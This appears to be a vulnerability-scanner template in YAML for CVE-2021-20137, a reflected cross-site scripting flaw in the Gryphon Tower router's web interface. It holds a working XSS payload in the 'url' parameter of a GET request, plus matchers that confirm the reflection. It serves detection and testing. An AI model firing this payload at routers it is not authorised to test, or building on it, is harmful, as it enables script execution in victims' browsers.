40 lines
1.3 KiB
YAML
40 lines
1.3 KiB
YAML
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id: CVE-2021-20137
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info:
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name: Gryphon Tower - Reflected XSS
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author: edoardottt
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severity: medium
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description: A reflected cross-site scripting vulnerability exists in the url parameter of the /cgi-bin/luci/site_access/ page on the Gryphon Tower router's web interface. An attacker could exploit this issue by tricking a user into following a specially crafted link, granting the attacker javascript execution in the context of the victim's browser.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-20137
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cwe-id: CWE-79
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
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- https://www.tenable.com/security/research/tra-2021-51
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tags: cve,cve2021,gryphon,xss
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- 'onfocus=alert(document.domain) autofocus=1>'
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- 'Send Access Request URL'
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condition: and
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